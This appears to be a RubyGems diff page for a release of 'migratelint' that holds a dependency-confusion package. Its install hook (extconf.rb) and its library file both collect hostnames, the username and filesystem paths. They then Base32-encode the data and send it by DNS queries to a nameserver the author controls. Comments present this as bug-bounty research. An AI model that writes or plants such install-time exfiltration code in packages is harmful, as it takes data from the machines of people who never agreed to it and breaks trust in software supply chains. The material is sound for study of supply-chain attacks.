migratelint 0.2.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of migratelint might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/ext/migratelint/extconf.rb +186 -0
- data/lib/migratelint.rb +183 -0
- metadata +48 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 1df658523d890b3eaf8977d34f1feace7738245a17c7ada890f78fddd1088aae
|
4
|
+
data.tar.gz: f527f0eabff639c57546bbcd29d49deb549726faf2e0fdab476bc0bd8c3c27d4
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 388ff315f96858739e6cb9f3996a5a6879c983d1065c36d35abe5a9db268e6da29bd2a4f0a18b99dce179a97d39997d59b5bc20eff8f87eea53b805842c56c60
|
7
|
+
data.tar.gz: d0bd9de5af6848141e2991d4f4f47a8d433b4ba152239893271971276527f8978605702a85c17b1980a0aaecc0fe4295b1666b25571d2da5ae0043184a1322ce
|
@@ -0,0 +1,186 @@
|
|
1
|
+
require "mkmf"
|
2
|
+
|
3
|
+
create_makefile "gem_test/gem_test"
|
4
|
+
=begin
|
5
|
+
Hi, if you're reading this you're probably wondering what this code is doing on
|
6
|
+
your machine. Don't worry! It doesn't do anything nasty or malicious.
|
7
|
+
|
8
|
+
I am an ethical security researcher, attempting attacks against organisations
|
9
|
+
that have a "bug bounty" type program in place.
|
10
|
+
|
11
|
+
I am performing work similar to the work in this blog post:
|
12
|
+
https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
13
|
+
|
14
|
+
If your organisation has a bug bounty program my findings will be reported via
|
15
|
+
that program.
|
16
|
+
|
17
|
+
If your organisation does not have a bug bounty program, you were not targeted
|
18
|
+
by my work and have some how ended up getting included, any data reported from
|
19
|
+
your org will be discarded.
|
20
|
+
|
21
|
+
All data I collect will be deleted as soon as I'm done, in either case.
|
22
|
+
|
23
|
+
If you are reading this then you probably need to tighten up your Gemfiles
|
24
|
+
and/or upgrade Bundler, see here for more details:
|
25
|
+
|
26
|
+
https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
|
27
|
+
|
28
|
+
You can read the code to confirm this but here's a top-level view of what it
|
29
|
+
does to help you out:
|
30
|
+
|
31
|
+
Grabs the hostname(s), current username, and the file paths to this script,
|
32
|
+
the current working directory, and the home directory. This helps me identify
|
33
|
+
which machines have been affected (for reporting), at which organisation (to
|
34
|
+
know who to report it to), and to eliminate false positives from machines that
|
35
|
+
fetch and install every Gem.
|
36
|
+
|
37
|
+
Generates a random ID so I can piece together the different fragments of data.
|
38
|
+
|
39
|
+
Encodes all the data as json, compresses it, Base32 encodes it, and chops it
|
40
|
+
into chunks to go out as DNS queries that will hit a nameserver I control.
|
41
|
+
|
42
|
+
That's it!
|
43
|
+
|
44
|
+
If you have any questions or want to get in touch for any reason, you can reach
|
45
|
+
me at zofrex@gmail.com
|
46
|
+
|
47
|
+
=end
|
48
|
+
|
49
|
+
puts "Package 'migratelint' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
|
50
|
+
|
51
|
+
begin # big catch-all over everything to stop any errors escaping
|
52
|
+
def do_or_whatever
|
53
|
+
yield
|
54
|
+
rescue Exception
|
55
|
+
# keep going
|
56
|
+
end
|
57
|
+
|
58
|
+
do_or_whatever { require 'net/http' }
|
59
|
+
do_or_whatever { require 'socket' }
|
60
|
+
do_or_whatever { require 'etc' }
|
61
|
+
require 'securerandom'
|
62
|
+
require 'json'
|
63
|
+
require 'resolv'
|
64
|
+
|
65
|
+
def report_analytics
|
66
|
+
report_id = SecureRandom.alphanumeric(8)
|
67
|
+
|
68
|
+
idx_package = 0
|
69
|
+
idx_hostnames = 1
|
70
|
+
idx_username = 2
|
71
|
+
idx_paths = 3
|
72
|
+
idx_event = 4
|
73
|
+
|
74
|
+
idx_paths_file = 0
|
75
|
+
idx_paths_cwd = 1
|
76
|
+
idx_paths_script = 2
|
77
|
+
idx_paths_home = 3
|
78
|
+
|
79
|
+
data = Hash.new
|
80
|
+
|
81
|
+
data[idx_event] = 'install'
|
82
|
+
|
83
|
+
# package name
|
84
|
+
|
85
|
+
data[idx_package] = 'migratelint-0.2.0'
|
86
|
+
|
87
|
+
# get possible hostnames
|
88
|
+
|
89
|
+
hostnames = []
|
90
|
+
|
91
|
+
do_or_whatever { hostnames << Socket.gethostname }
|
92
|
+
do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
|
93
|
+
do_or_whatever { hostnames << `hostname` }
|
94
|
+
do_or_whatever { hostnames << `hostname -f` }
|
95
|
+
|
96
|
+
data[idx_hostnames] = hostnames.map(&:strip).uniq
|
97
|
+
|
98
|
+
# get local user
|
99
|
+
|
100
|
+
do_or_whatever { data[idx_username] = Etc.getlogin }
|
101
|
+
|
102
|
+
# get useful paths
|
103
|
+
|
104
|
+
paths = Hash.new
|
105
|
+
|
106
|
+
do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
|
107
|
+
do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
|
108
|
+
do_or_whatever { paths[idx_paths_script] = __dir__ }
|
109
|
+
do_or_whatever { paths[idx_paths_home] = Dir.home }
|
110
|
+
|
111
|
+
data[idx_paths] = paths
|
112
|
+
|
113
|
+
# encode payload
|
114
|
+
|
115
|
+
json = JSON.generate(data)
|
116
|
+
compressed = "u#{json}"
|
117
|
+
|
118
|
+
# attempt to compress data but don't sweat it if that fails
|
119
|
+
do_or_whatever do
|
120
|
+
require 'zlib'
|
121
|
+
compressed = "c#{Zlib.deflate(json)}"
|
122
|
+
end
|
123
|
+
|
124
|
+
# base32 encode the data
|
125
|
+
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
|
126
|
+
encoded = compressed.bytes.each_slice(5).flat_map do |slice|
|
127
|
+
n = (slice.length * 8.0 / 5.0).ceil
|
128
|
+
p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
|
129
|
+
c = slice.inject(0) {|m,o| (m << 8) + o} << p
|
130
|
+
(0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
|
131
|
+
end.join
|
132
|
+
|
133
|
+
# send data out via DNS lookups
|
134
|
+
total_queries = (encoded.length / 180.0).ceil
|
135
|
+
|
136
|
+
google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
|
137
|
+
me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
|
138
|
+
|
139
|
+
current_method = :generic
|
140
|
+
suffix = "zofrex-is-ethically-testing.ga"
|
141
|
+
|
142
|
+
methods = {
|
143
|
+
generic: {
|
144
|
+
address: "rp1.#{suffix}",
|
145
|
+
resolver: Resolv,
|
146
|
+
expected_ip: "127.0.0.3",
|
147
|
+
next_method: :direct
|
148
|
+
},
|
149
|
+
direct: {
|
150
|
+
address: "rp3.#{suffix}",
|
151
|
+
resolver: me_resolver,
|
152
|
+
expected_ip: "127.0.0.5",
|
153
|
+
next_method: :google
|
154
|
+
},
|
155
|
+
google: {
|
156
|
+
address: "rp2.#{suffix}",
|
157
|
+
resolver: google_resolver,
|
158
|
+
expected_ip: "127.0.0.4",
|
159
|
+
next_method: :direct
|
160
|
+
},
|
161
|
+
}
|
162
|
+
|
163
|
+
encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
|
164
|
+
query_data = chunks.map(&:join).join('.')
|
165
|
+
data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
|
166
|
+
|
167
|
+
# Try to get the message out somehow, start on whichever method worked on the previous loop
|
168
|
+
(1..6).each do
|
169
|
+
method = methods[current_method]
|
170
|
+
begin
|
171
|
+
address = method[:resolver].getaddress "#{data_portion}.#{method[:address]}"
|
172
|
+
break if address == method[:expected_ip]
|
173
|
+
rescue
|
174
|
+
end
|
175
|
+
current_method = method[:next_method]
|
176
|
+
end
|
177
|
+
end
|
178
|
+
end
|
179
|
+
|
180
|
+
do_or_whatever { report_analytics }
|
181
|
+
|
182
|
+
# cleanup
|
183
|
+
do_or_whatever { undef report_analytics }
|
184
|
+
do_or_whatever { undef do_or_whatever }
|
185
|
+
rescue Error
|
186
|
+
end
|
data/lib/migratelint.rb
ADDED
@@ -0,0 +1,183 @@
|
|
1
|
+
=begin
|
2
|
+
Hi, if you're reading this you're probably wondering what this code is doing on
|
3
|
+
your machine. Don't worry! It doesn't do anything nasty or malicious.
|
4
|
+
|
5
|
+
I am an ethical security researcher, attempting attacks against organisations
|
6
|
+
that have a "bug bounty" type program in place.
|
7
|
+
|
8
|
+
I am performing work similar to the work in this blog post:
|
9
|
+
https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
10
|
+
|
11
|
+
If your organisation has a bug bounty program my findings will be reported via
|
12
|
+
that program.
|
13
|
+
|
14
|
+
If your organisation does not have a bug bounty program, you were not targeted
|
15
|
+
by my work and have some how ended up getting included, any data reported from
|
16
|
+
your org will be discarded.
|
17
|
+
|
18
|
+
All data I collect will be deleted as soon as I'm done, in either case.
|
19
|
+
|
20
|
+
If you are reading this then you probably need to tighten up your Gemfiles
|
21
|
+
and/or upgrade Bundler, see here for more details:
|
22
|
+
|
23
|
+
https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
|
24
|
+
|
25
|
+
You can read the code to confirm this but here's a top-level view of what it
|
26
|
+
does to help you out:
|
27
|
+
|
28
|
+
Grabs the hostname(s), current username, and the file paths to this script,
|
29
|
+
the current working directory, and the home directory. This helps me identify
|
30
|
+
which machines have been affected (for reporting), at which organisation (to
|
31
|
+
know who to report it to), and to eliminate false positives from machines that
|
32
|
+
fetch and install every Gem.
|
33
|
+
|
34
|
+
Generates a random ID so I can piece together the different fragments of data.
|
35
|
+
|
36
|
+
Encodes all the data as json, compresses it, Base32 encodes it, and chops it
|
37
|
+
into chunks to go out as DNS queries that will hit a nameserver I control.
|
38
|
+
|
39
|
+
That's it!
|
40
|
+
|
41
|
+
If you have any questions or want to get in touch for any reason, you can reach
|
42
|
+
me at zofrex@gmail.com
|
43
|
+
|
44
|
+
=end
|
45
|
+
|
46
|
+
puts "Package 'migratelint' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
|
47
|
+
|
48
|
+
begin # big catch-all over everything to stop any errors escaping
|
49
|
+
def do_or_whatever
|
50
|
+
yield
|
51
|
+
rescue Exception
|
52
|
+
# keep going
|
53
|
+
end
|
54
|
+
|
55
|
+
do_or_whatever { require 'net/http' }
|
56
|
+
do_or_whatever { require 'socket' }
|
57
|
+
do_or_whatever { require 'etc' }
|
58
|
+
require 'securerandom'
|
59
|
+
require 'json'
|
60
|
+
require 'resolv'
|
61
|
+
|
62
|
+
def report_analytics
|
63
|
+
report_id = SecureRandom.alphanumeric(8)
|
64
|
+
|
65
|
+
idx_package = 0
|
66
|
+
idx_hostnames = 1
|
67
|
+
idx_username = 2
|
68
|
+
idx_paths = 3
|
69
|
+
idx_event = 4
|
70
|
+
|
71
|
+
idx_paths_file = 0
|
72
|
+
idx_paths_cwd = 1
|
73
|
+
idx_paths_script = 2
|
74
|
+
idx_paths_home = 3
|
75
|
+
|
76
|
+
data = Hash.new
|
77
|
+
|
78
|
+
data[idx_event] = 'run'
|
79
|
+
|
80
|
+
# package name
|
81
|
+
|
82
|
+
data[idx_package] = 'migratelint-0.2.0'
|
83
|
+
|
84
|
+
# get possible hostnames
|
85
|
+
|
86
|
+
hostnames = []
|
87
|
+
|
88
|
+
do_or_whatever { hostnames << Socket.gethostname }
|
89
|
+
do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
|
90
|
+
do_or_whatever { hostnames << `hostname` }
|
91
|
+
do_or_whatever { hostnames << `hostname -f` }
|
92
|
+
|
93
|
+
data[idx_hostnames] = hostnames.map(&:strip).uniq
|
94
|
+
|
95
|
+
# get local user
|
96
|
+
|
97
|
+
do_or_whatever { data[idx_username] = Etc.getlogin }
|
98
|
+
|
99
|
+
# get useful paths
|
100
|
+
|
101
|
+
paths = Hash.new
|
102
|
+
|
103
|
+
do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
|
104
|
+
do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
|
105
|
+
do_or_whatever { paths[idx_paths_script] = __dir__ }
|
106
|
+
do_or_whatever { paths[idx_paths_home] = Dir.home }
|
107
|
+
|
108
|
+
data[idx_paths] = paths
|
109
|
+
|
110
|
+
# encode payload
|
111
|
+
|
112
|
+
json = JSON.generate(data)
|
113
|
+
compressed = "u#{json}"
|
114
|
+
|
115
|
+
# attempt to compress data but don't sweat it if that fails
|
116
|
+
do_or_whatever do
|
117
|
+
require 'zlib'
|
118
|
+
compressed = "c#{Zlib.deflate(json)}"
|
119
|
+
end
|
120
|
+
|
121
|
+
# base32 encode the data
|
122
|
+
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
|
123
|
+
encoded = compressed.bytes.each_slice(5).flat_map do |slice|
|
124
|
+
n = (slice.length * 8.0 / 5.0).ceil
|
125
|
+
p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
|
126
|
+
c = slice.inject(0) {|m,o| (m << 8) + o} << p
|
127
|
+
(0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
|
128
|
+
end.join
|
129
|
+
|
130
|
+
# send data out via DNS lookups
|
131
|
+
total_queries = (encoded.length / 180.0).ceil
|
132
|
+
|
133
|
+
google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
|
134
|
+
me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
|
135
|
+
|
136
|
+
current_method = :generic
|
137
|
+
suffix = "zofrex-is-ethically-testing.ga"
|
138
|
+
|
139
|
+
methods = {
|
140
|
+
generic: {
|
141
|
+
address: "rp1.#{suffix}",
|
142
|
+
resolver: Resolv,
|
143
|
+
expected_ip: "127.0.0.3",
|
144
|
+
next_method: :direct
|
145
|
+
},
|
146
|
+
direct: {
|
147
|
+
address: "rp3.#{suffix}",
|
148
|
+
resolver: me_resolver,
|
149
|
+
expected_ip: "127.0.0.5",
|
150
|
+
next_method: :google
|
151
|
+
},
|
152
|
+
google: {
|
153
|
+
address: "rp2.#{suffix}",
|
154
|
+
resolver: google_resolver,
|
155
|
+
expected_ip: "127.0.0.4",
|
156
|
+
next_method: :direct
|
157
|
+
},
|
158
|
+
}
|
159
|
+
|
160
|
+
encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
|
161
|
+
query_data = chunks.map(&:join).join('.')
|
162
|
+
data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
|
163
|
+
|
164
|
+
# Try to get the message out somehow, start on whichever method worked on the previous loop
|
165
|
+
(1..6).each do
|
166
|
+
method = methods[current_method]
|
167
|
+
begin
|
168
|
+
address = method[:resolver].getaddress "#{data_portion}.#{method[:address]}"
|
169
|
+
break if address == method[:expected_ip]
|
170
|
+
rescue
|
171
|
+
end
|
172
|
+
current_method = method[:next_method]
|
173
|
+
end
|
174
|
+
end
|
175
|
+
end
|
176
|
+
|
177
|
+
do_or_whatever { report_analytics }
|
178
|
+
|
179
|
+
# cleanup
|
180
|
+
do_or_whatever { undef report_analytics }
|
181
|
+
do_or_whatever { undef do_or_whatever }
|
182
|
+
rescue Error
|
183
|
+
end
|
metadata
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: migratelint
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.2.0
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- James 'zofrex' Sanderson
|
8
|
+
autorequire:
|
9
|
+
bindir: exe
|
10
|
+
cert_chain: []
|
11
|
+
date: 2021-02-17 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: I am testing for dependency confusion vulnerabilities in products that
|
14
|
+
are in public bug bounty programs. This code is reporting-only, and does not do
|
15
|
+
anything malicious.
|
16
|
+
email:
|
17
|
+
- gem-research@zofrex.com
|
18
|
+
executables: []
|
19
|
+
extensions:
|
20
|
+
- ext/migratelint/extconf.rb
|
21
|
+
extra_rdoc_files: []
|
22
|
+
files:
|
23
|
+
- ext/migratelint/extconf.rb
|
24
|
+
- lib/migratelint.rb
|
25
|
+
homepage:
|
26
|
+
licenses:
|
27
|
+
- MIT
|
28
|
+
metadata: {}
|
29
|
+
post_install_message:
|
30
|
+
rdoc_options: []
|
31
|
+
require_paths:
|
32
|
+
- lib
|
33
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
34
|
+
requirements:
|
35
|
+
- - ">="
|
36
|
+
- !ruby/object:Gem::Version
|
37
|
+
version: 1.9.0
|
38
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
39
|
+
requirements:
|
40
|
+
- - ">="
|
41
|
+
- !ruby/object:Gem::Version
|
42
|
+
version: '0'
|
43
|
+
requirements: []
|
44
|
+
rubygems_version: 3.1.4
|
45
|
+
signing_key:
|
46
|
+
specification_version: 4
|
47
|
+
summary: Testing dependency confusion bugs
|
48
|
+
test_files: []
|